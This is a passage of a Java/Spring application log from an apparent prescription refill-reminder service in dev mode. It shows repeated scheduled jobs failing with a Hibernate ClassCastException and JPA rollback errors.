org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 19:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 19:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 19:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 19:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 19:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 19:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 19:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 19:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 20:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 20:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 20:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 20:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 20:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 20:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 20:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 20:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 20:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at 